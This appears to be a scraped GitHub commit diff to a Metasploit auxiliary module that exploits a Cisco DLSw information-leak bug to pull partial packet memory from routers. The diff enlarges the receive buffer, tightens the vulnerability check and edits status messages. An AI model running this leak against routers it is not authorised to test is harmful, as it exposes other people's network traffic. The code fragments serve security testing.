1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -16,16 +16,16 @@ def initialize
16
16
super (
17
17
'Name' => 'Cisco DLSw information leak' ,
18
18
'Description' => %q{
19
- This module implements the DLSw information leak retrieval. There is
19
+ This module implements the DLSw information leak retrieval. There is
20
20
a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
21
21
that allows an unuthenticated remote attacker to retrieve the partial
22
- contents of packets traversing a Cisco router with DLSw configured
23
- and active.
22
+ contents of packets traversing a Cisco router with DLSw configured
23
+ and active.
24
24
} ,
25
25
'Author' => [
26
26
'Tate Hansen' , # Vulnerability discovery
27
27
'John McLeod' , # Vulnerability discovery
28
- 'Kyle Rainey' , # Built lab to recreate vulnerability and help test
28
+ 'Kyle Rainey' , # Built lab to recreate vulnerability and help test
29
29
] ,
30
30
'References' =>
31
31
[
@@ -45,19 +45,19 @@ def initialize
45
45
46
46
# Called when using check
47
47
def check_host ( ip )
48
- print_status "Checking for DLSw exposure"
48
+ print_status "Checking #{ ip } : #{ rport } for DLSw exposure"
49
49
connect
50
- response = sock . recv ( 72 )
50
+ response = sock . recv ( 1024 )
51
51
disconnect
52
52
53
- if response . length > 0
54
- print_status ( "Cisco router appears vulnerable - DLSw data is returned when establishing a connection to #{ rport } " )
53
+ if ( response . length > 0 ) && ( response =~ /IOS Software|cisco.com/ )
54
+ print_status ( "The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ ip } : #{ rport } " )
55
55
report_vuln ( {
56
56
:host => rhost ,
57
57
:port => rport ,
58
58
:name => self . name ,
59
59
:refs => self . references ,
60
- :info => "Module #{ self . fullname } successfully leaked info "
60
+ :info => "Module #{ self . fullname } collected #{ response . length } bytes "
61
61
} )
62
62
Exploit ::CheckCode ::Vulnerable
63
63
else
@@ -69,7 +69,7 @@ def check_host(ip)
69
69
def run_host ( ip )
70
70
return unless check_host ( ip ) == Exploit ::CheckCode ::Vulnerable
71
71
72
- print_status ( "Going to run until we retrieve #{ datastore [ 'LEAK_AMOUNT' ] } bytes from #{ ip } " )
72
+ print_status ( "Going to run until we retrieve #{ datastore [ 'LEAK_AMOUNT' ] } bytes from #{ ip } : #{ rport } " )
73
73
74
74
dlsw_data = ""
75
75
until dlsw_data . length > datastore [ 'LEAK_AMOUNT' ]
@@ -92,6 +92,8 @@ def loot_and_report(dlsw_data)
92
92
'DLSw_leaked_data' ,
93
93
'DLSw packet memory leak'
94
94
)
95
- print_status ( "DLSw data stored in #{ path } " )
95
+ print_status ( "DLSw leaked data from #{ ip } : #{ rport } stored in #{ path } " )
96
96
end
97
97
end
98
+
99
+
0 commit comments